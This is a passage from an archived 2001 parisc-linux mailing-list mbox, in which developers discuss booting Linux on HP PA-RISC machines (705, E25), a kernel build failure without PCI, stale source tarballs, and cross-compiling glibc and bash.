see that the prologue code is wrong anyway.  What's there is for HPUX
_mount, which is non-standard.  !@(*$&()*

So that's double sorry, I guess :-(

Alan Modra
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kevin Read <obsidian@panokratie.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Test on 705
Date: Fri, 16 Feb 2001 09:18:09 +0100 (MET)
Lines: 37
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.31.0102160916170.456-100000@kiste.innnet.de>
References: <3A8C672C.E06566A0@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619871 15691 80.91.229.3 (22 Nov 2014 01:31:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:11 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 16 01:03:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.obsidian.de (unknown [213.69.121.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51BE54A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Feb 2001 01:03:09 -0700 (MST)
Original-Received: from kiste.innnet.de (obsidian@kiste.nigga-wg.de [192.168.1.2])
	by mail.obsidian.de (8.11.1/8.11.1) with ESMTP id f1FH1hO16774;
	Thu, 15 Feb 2001 09:01:44 -0800 (PST)
X-X-Sender: <obsidian@kiste.innnet.de>
In-Reply-To: <3A8C672C.E06566A0@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:10266


On Fri, 16 Feb 2001, Thomas Marteau wrote:

> Hi Kevin,
>
> 	It seems like you want to boot with the file system via nfs.

Yes, thats my intention.

> This is waht that means:
>
> mount: RPC call returned error 229
> Root-NFS: Server returned error -229 while mounting /tftpboot/(none)
> VFS: Unable to mount root fs via NFS, trying floppy.
> VFS: Cannot open root device "nfs" or 02:00
> Please append a correct "root=" boot option
>
> If it is not what you want, please refer to the PALO Readme or to the
> official website PALO How-To

Thanks for the pointers! I tcpdumped the network and couldn't see any
bootp requests so I figured that the kernel couldn't access the network
chip, too.

BTW, this kernel is from yesterdays CVS.


>
> Good Luck, Thomas
>
> ESIEE Team
> Visit http://www.esiee.fr/puffin
>





From - Thu Nov 08 21:16:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kevin Read <obsidian@panokratie.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Can't build kernel without PCI
Date: Fri, 16 Feb 2001 09:42:46 +0100 (MET)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.31.0102160941400.3578-100000@kiste.innnet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619872 15695 80.91.229.3 (22 Nov 2014 01:31:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:12 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 16 01:27:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.obsidian.de (unknown [213.69.121.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id DDB584A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Feb 2001 01:27:44 -0700 (MST)
Original-Received: from kiste.innnet.de (obsidian@kiste.nigga-wg.de [192.168.1.2])
	by mail.obsidian.de (8.11.1/8.11.1) with ESMTP id f1FHQLO16812
	for <parisc-linux@lists.parisc-linux.org>; Thu, 15 Feb 2001 09:26:21 -0800 (PST)
X-X-Sender: <obsidian@kiste.innnet.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10267

Hi folks,

btw, the kernel won't build if you don't select PCI support which I don't
have on the 705 ;). It complains about missing inb and outb functions.
When I select it everything is ok.

Bye,

			Kev





From - Thu Nov 08 21:16:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Test on 705
Date: Fri, 16 Feb 2001 08:48:30 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20010216084830.K1374@linuxcare.com>
References: <Pine.LNX.4.31.0102160013480.22670-100000@kiste.innnet.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619872 15699 80.91.229.3 (22 Nov 2014 01:31:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kevin Read <obsidian@panokratie.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 16 01:48:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5ABE34A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Feb 2001 01:48:56 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9B2F7B005; Fri, 16 Feb 2001 08:48:30 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.31.0102160013480.22670-100000@kiste.innnet.de>; from obsidian@panokratie.de on Fri, Feb 16, 2001 at 12:18:53AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10268

On Fri, Feb 16, 2001 at 12:18:53AM +0100, Kevin Read wrote:
> 
> Hi folks,
> 
> first a little praise: It only took me 2 hours to get up and running and
> starting to build me own kernel with palinux! I like your informative
> homepage and FAQs! Keep it up!
> 
> I booted it up on my 705 (Flounder), further below is the output I got.
> 
> It seems it can't get consistent with the memory my ether and SCSI
> controller use, and its muttering about DMA too. It didn't find any SCSI
> devices and I couldn't find any packets from the box on the net.

This looks to me very much like the problems with 710(bushmaster),
where things basically work, but interrupts from the scsi and ethernet
chips just never get seen by the cpu.

We need info from someone with access to hp documentation to fix
these systems, I think.

Richard





From - Thu Nov 08 21:16:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: penfold@customware.com.au
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel src on p.e.hp.com ?
Date: Fri, 16 Feb 2001 21:16:43 +1100
Lines: 23
Approved: news@gmane.org
Message-ID: <200102161019.VAA16014@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619872 15705 80.91.229.3 (22 Nov 2014 01:31:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:12 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 16 03:23:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailin6.bigpond.com (unknown [139.134.6.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id A787E4A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Feb 2001 03:23:34 -0700 (MST)
Original-Received: from customware.com.au ([139.134.4.50]) by
          mailin6.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id G8UIET00.BTY for <parisc-linux@lists.parisc-linux.org>; Fri,
          16 Feb 2001 20:28:05 +1000 
Original-Received: from CPE-144-132-17-132.vic.bigpond.net.au ([144.132.17.132]) by mail8.bigpond.com (Claudes-Sparkling-MailRouter V2.9c 17/11794024); 16 Feb 2001 20:23:28
Original-Received: (from penfold@localhost)
	by customware.com.au (8.9.3/8.8.7) id VAA16014
	for parisc-linux@lists.parisc-linux.org; Fri, 16 Feb 2001 21:19:14 +1100
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:10269

Hi all,

Is ftp://puffin.external.hp.com/pub/parisc/cvs still the place to get the
latest source bundles?

If so, does anyone know why it isnt updating?

-rw-r--r--   1 500      233     19449856   Feb  3 07:13   linux-20010203.tar.gz
-rw-r--r--   1 500      233            0   Feb  4 07:12   linux-20010204.tar.gz
-rw-r--r--   1 500      233            0   Feb  5 07:10   linux-20010205.tar.gz
-rw-r--r--   1 500      233            0   Feb  6 07:10   linux-20010206.tar.gz
-rw-r--r--   1 500      233            0   Feb  7 07:09   linux-20010207.tar.gz
-rw-r--r--   1 500      233            0   Feb  8 07:10   linux-20010208.tar.gz
lrwxrwxrwx   1 500      233           21   Feb  8 07:10   linux-latest.tar.gz -> linux-20010208.tar.gz

cheers,

Damian
penfold@customware.com.au





From - Thu Nov 08 21:16:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel src on p.e.hp.com ?
Date: Fri, 16 Feb 2001 09:46:33 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20010216164633.68E3A38786@carmen.fc.hp.com>
References: <200102161019.VAA16014@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619872 15707 80.91.229.3 (22 Nov 2014 01:31:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: penfold@customware.com.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 16 09:44:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B48A4A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Feb 2001 09:44:06 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 84FBC310; Fri, 16 Feb 2001 11:44:05 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 68E3A38786; Fri, 16 Feb 2001 09:46:33 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from penfold@customware.com.au 
   of "Fri, 16 Feb 2001 21:16:43 +1100." <200102161019.VAA16014@customware.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:10270

penfold@customware.com.au writes...

> Hi all,
> 
> Is ftp://puffin.external.hp.com/pub/parisc/cvs still the place to get the
> latest source bundles?
> 
> If so, does anyone know why it isnt updating?

It probably ran out of disk space. I cleaned things up and generated new ones.

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:16:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can't build kernel without PCI
Date: Fri, 16 Feb 2001 09:08:52 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <200102161709.JAA13661@milano.cup.hp.com>
References: <Pine.LNX.4.31.0102160941400.3578-100000@kiste.innnet.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619873 15708 80.91.229.3 (22 Nov 2014 01:31:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kevin Read <obsidian@panokratie.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 16 10:06:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id A93DE4A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 16 Feb 2001 10:06:21 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id C90DA7B8; Fri, 16 Feb 2001 09:06:20 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA13661;
	Fri, 16 Feb 2001 09:09:02 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 16 Feb 2001 09:42:46 PST."
             <Pine.LNX.4.31.0102160941400.3578-100000@kiste.innnet.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:10271

Kevin Read wrote:
> 
> Hi folks,
> 
> btw, the kernel won't build if you don't select PCI support which I don't
> have on the 705 ;). It complains about missing inb and outb functions.
> When I select it everything is ok.

Your 705 doesn't have anything "PCI-Like" in either.
The "inb/outb" imply you are including a driver that's "PCI-like".
If you can narrow down which driver(s) complain about it...

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kevin Read <obsidian@panokratie.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Test on 705
Date: Sat, 17 Feb 2001 21:24:06 +0100 (MET)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.31.0102172122570.3166-100000@kiste.innnet.de>
References: <20010216084830.K1374@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619873 15713 80.91.229.3 (22 Nov 2014 01:31:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:13 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 17 13:24:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.obsidian.de (unknown [213.69.121.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id A67484A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Feb 2001 13:23:56 -0700 (MST)
Original-Received: from kiste.innnet.de (obsidian@kiste.nigga-wg.de [192.168.1.2])
	by mail.obsidian.de (8.11.1/8.11.1) with ESMTP id f1H5M8O20314;
	Fri, 16 Feb 2001 21:22:11 -0800 (PST)
X-X-Sender: <obsidian@kiste.innnet.de>
In-Reply-To: <20010216084830.K1374@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10272


On Fri, 16 Feb 2001, Richard Hirst wrote:

> On Fri, Feb 16, 2001 at 12:18:53AM +0100, Kevin Read wrote:
> >
> > Hi folks,

> > devices and I couldn't find any packets from the box on the net.
>
> This looks to me very much like the problems with 710(bushmaster),
> where things basically work, but interrupts from the scsi and ethernet
> chips just never get seen by the cpu.
>
> We need info from someone with access to hp documentation to fix
> these systems, I think.

You wouldn't know who I could pester until I got this stuff? ;)

Or is there a way to scrounge this info from HP-UX?

Thanks,


		Kev





From - Thu Nov 08 21:16:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Eggert <seggert@tds.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] E25 lock-up during boot.
Date: Sat, 17 Feb 2001 19:09:37 -0600
Lines: 74
Approved: news@gmane.org
Message-ID: <3A8F20D1.20B10E28@tds.net>
References: <20010217134443.B0E4081DD@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619873 15716 80.91.229.3 (22 Nov 2014 01:31:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 17 18:09:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from serak.svc.tds.net (serak.svc.tds.net [204.246.1.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id E99C44A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Feb 2001 18:09:47 -0700 (MST)
Original-Received: from tds.net (neenahdsl-a113.dsl.tds.net [208.171.62.113])
	by serak.svc.tds.net (8.9.3/8.9.3) with ESMTP id TAA24354
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Feb 2001 19:09:38 -0600 (CST)
X-Mailer: Mozilla 4.73 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10273

I am attempting to ge PA installed on a HP9000 E25.  I am able to boot from the
0.5 CD image, however it locks-up during the boot.  Any ideas?

Here is the boot output:

Main Menu: Enter command or menu > bo 56/52.4
Interact with IPL (Y or N)?> n

Booting...
Boot IO Dependent Code (IODC) revision 4


HARD Booted.
palo ipl bame@noam Tue Oct 31 14:18:02 MST 2000
0/vmlinux 2140145 bytes @ 0x6f9800
0/palo-cmdline '0/vmlinux ROOT=/ TERM=LINUX root=/dev/scd0'
Kernel: partition 0 file /vmlinux
ELF32 executable

Entry 00100150 first 00100000 n 4
Segment 0 load 00100000 size 1460344 mediaptr 0x1000
Segment 1 load 00266000 size 179048 mediaptr 0x166000
Segment 2 load 00294000 size 109876 mediaptr 0x192000
Segment 3 load 002b0000 size 8192 mediaptr 0x1ad000
branching to kernel entry point 0x00100150
Set default PSW W bit to 0
PDC Console Initialized
The 32-bit Kernel has started...
Enabled FP coprocessor
Free memory starts at: 0xc02da000
(0x504d6c,0x504d6c,0x0,0x0)
PALO command line: 'ROOT=/ TERM=LINUX root=/dev/scd0'
PALO initrd 0-0
model   00004800 00000481 00000000 00000000 76d05eab 100000f0 00000004 00000072
00000072
vers    0000000b
CPUID vers 0 rev 0
Searching for devices in PDC firmware... processor hpa 0xfffbe000
a newer box...
Found devices:
1. Orville UX Core BA (11) at 0xf0100000, versions 0x12, 0x0, 0x81, 0x0, 0x0
2. Orville Core Lan (802.3) (10) at 0xf0107000, versions 0x12, 0x0, 0x8a, 0x0, 0
x0
That's a total of 2 devices.
No CPUs reported by firmware - probing...
Found CPU at fffbe000
CPU(s): 1 x PA7100LC (PCX-L) at 48.000000 MHz
Linux version 2.4.0-test6 (pjlahaie@elenuial.thepuffingroup.com) (gcc version 2.
96 20000925 (experimental)) #32 Mon Nov 6 10:20:58 EST 2000
free_bootmem(0x2dc000, 0xfd24000)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 65536
zone(0): 32768 pages.
zone(1): 32768 pages.
zone(2): 0 pages.
Kernel command line: ROOT=/ TERM=LINUX root=/dev/scd0
trap_init
Calibrating delay loop... 47.82 BogoMIPS
Memory: 254336k available
Dentry-cache hash table entries: 32768 (order: 6, 262144 bytes)
Buffer-cache hash table entries: 16384 (order: 4, 65536 bytes)
Page-cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xf0100000 found.









From - Thu Nov 08 21:16:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] E25 lock-up during boot.
Date: Sun, 18 Feb 2001 01:52:15 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <20010218015215.E899@parcelfarce.linux.theplanet.co.uk>
References: <20010217134443.B0E4081DD@dsl2.external.hp.com> <3A8F20D1.20B10E28@tds.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619874 15718 80.91.229.3 (22 Nov 2014 01:31:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Scott Eggert <seggert@tds.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 17 18:52:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E12244A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 17 Feb 2001 18:52:22 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14UJ1L-0006nY-00; Sun, 18 Feb 2001 01:52:15 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3A8F20D1.20B10E28@tds.net>; from seggert@tds.net on Sat, Feb 17, 2001 at 07:09:37PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10274

On Sat, Feb 17, 2001 at 07:09:37PM -0600, Scott Eggert wrote:
> I am attempting to ge PA installed on a HP9000 E25.  I am able to boot
> from the 0.5 CD image, however it locks-up during the boot.  Any ideas?

Which part of `E class is not supported' is hard to understand?  :-)

> Searching for devices in PDC firmware... processor hpa 0xfffbe000
> a newer box...
> Found devices:
> 1. Orville UX Core BA (11) at 0xf0100000, versions 0x12, 0x0, 0x81, 0x0, 0x0
> 2. Orville Core Lan (802.3) (10) at 0xf0107000, versions 0x12, 0x0, 0x8a, 0x0, 0
> x0
> That's a total of 2 devices.
> No CPUs reported by firmware - probing...
> Found CPU at fffbe000
> POSIX conformance testing by UNIFIX
> Lasi version 0 at 0xf0100000 found.

Having said that, I bet this is the same problem as FAQ 9:

I'm booting parisc linux on an early Series 700 workstation, and the 
machine hangs after printing:

ASP version 1 at ..... found

What's going on?

This was a bug in the parallel port driver, which was fixed in CVS on 
2000-11-29. You can workaround the problem by using a newer kernel or
by reconfiguring your kernel and removing support for the parallel port
(CONFIG_PARPORT_GSC).


But... there's no Lasi in an E-class.  Something's wrong with our detection
routines, perhaps.  I admit to being curious about the `Core Lan' that's
reported -- maybe it'll work.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile 
 system
Date: Sun, 18 Feb 2001 11:28:40 +0100
Organization: private
Lines: 140
Approved: news@gmane.org
Message-ID: <3A8FA3D8.19E69EF6@dot.at>
References: <Pine.LNX.4.21.0102091056000.9776-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619874 15721 80.91.229.3 (22 Nov 2014 01:31:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb 18 03:28:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns2.dot.at (dns2.dot.at [212.9.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52A114A19
	for <parisc-linux@lists.parisc-linux.org>; Sun, 18 Feb 2001 03:28:58 -0700 (MST)
Original-Received: from dot.at (IDENT:plattner@dot-tc01-020.dot.at [212.9.128.60])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id LAA15930;
	Sun, 18 Feb 2001 11:41:37 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10275

Hello again !

I have found the method working here.

The GLIBC must be built with the line:

	make user-defined-trusted-dirs=/lib 

This adds the `/lib' to the internal trusted search path, which is
defined in the
generated files ./elf/trusted-dirs.{st,h}. After this the normal
installation to the
configured prefix (in my case /usr/parisc/hppa-linux)

	make install user-defined-trusted-dirs=/lib

and the installation to the NFS root directory can be done by repeating
install with

	make install user-defined-trusted-dirs=/lib
install_root=/tftpboot/apollo/root

On the workstation (booted from the palinux-0.5 root file system) I
mounted my new
NFS root to /mnt and used the command
	
	ldconfig -v -r /mnt

And after that I booted from tne new root, and the error was, that there
was no inittab
and no process left......

So I have success !!!! (I know, that there is nothing to boot further,
except the init
itself !!)

Now a further question. How to build successfully a `bash', with other
tools (expect
strace) I have not so big problems.

The `bash' built process has problems in `configure' in a cross compiled
environment.
It tries some functions via C examples, and they have difficulties to
determine the
result of a compile option, as this is not native....

I tried with 

	HOSTCC=gcc CC=hppa-linux-gcc ../configure --host=hppa-linux \
		 --prefix=/usr/parisc/hppa-linux 

Configure stops with:

checking for working alloca.h... yes
checking for alloca... yes
checking whether getpgrp takes no argument... configure: error: cannot
check getpgrp if cross compiling

How to build a bash (I am always interested in building from the scratch
(hobby)) !

With friendly regards

	Christoph P.

Alan Modra wrote:
> 
> On Thu, 8 Feb 2001, Christoph Plattner wrote:
> 
> > After the glibc builts perfect, I have a problem in setting up the root
> [snip]
> > with page fault or with "cannot find libc.6.so". Only the root of the
> [snip]
> 
> "with page fault" is possibly due to the glibc bug I mentioned in
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-February/011686.html
> 
> "cannot find libc.so.6" is a different problem, a result of
> cross-compiling glibc with --prefix different to final install location.
> Let's see if I can explain the problem...
> 
> Suppose you want to cross-compile the toolchain and glibc from an
> i686-linux system, and you have chosen --target=hppa-linux.  Further
> suppose you decide to install to /usr/ on your host x86 system (This
> does work safely, despite various recipes recommending /usr/parisc,
> or /opt/parisc).  Now when cross-compiling glibc, you obviously _don't_
> want to install glibc on your host to /usr, as the glibc you create is an
> hppa-linux binary, which doesn't run very well on x86-linux!  So the
> proper install destination for glibc is given by --prefix=/usr/hppa-linux.
> This is also the root of directories where your hppa-linux cross-tools
> will look first for libraries and system header files etc.  If you chooes
> some other prefix (ie. not <compiler prefix>/<compiler target>) then
> you'll have problems cross compiling.
> 
> However, trying to install the glibc that works for a cross-compiler
> tool-chain to your target system, at a different location, fails
> miserably because shared libraries specify where to look for their
> "interpreter" (dynamic linker).  Your cross-compiled glibc will be looking
> for /usr/hppa-linux/lib/ld.so.1, while a native glibc will look for
> /lib/ld.so.1.  Also, a cross-compiled dynamic linker knows to look under
> /usr/hppa-linux/ for libraries and ld.so.cache.  On the other hand, you
> probably want your libraries in their normal locations so that you don't
> accidentally use the wrong library.
> 
> Of course, it's very useful to be able to install your cross-compiled
> glibc to your target :-), and hopefully the above explanation suggests one
> way around the problems:
>  - Install your glibc to a temp dir on your nfs server
>    eg. "make install_root=/var/tmp/install"
>  - Move files from /var/tmp/install to /tftpboot/<proper locataion>
>    It helps if you know what <proper location> is!  Compile glibc native
>    for x86 and install to another temp dir if you don't know.
>  - Make relative symbolic links in /tftpboot/.../usr/hppa-linux/lib/ to
>    the shared libs you installed to /tftpboot/.../lib/
>  - ln -s ../../etc /tftpboot/.../usr/hppa-linux/etc too
>  - What else?  Oh yeah, /usr/lib/libc.so and some of the files installed
>    to /usr/bin/ are text files, and some have paths to    /usr/hppa-linux.
>    Edit them.
> 
> It would be nice if you could cross-compile glibc with --prefix=/usr, but
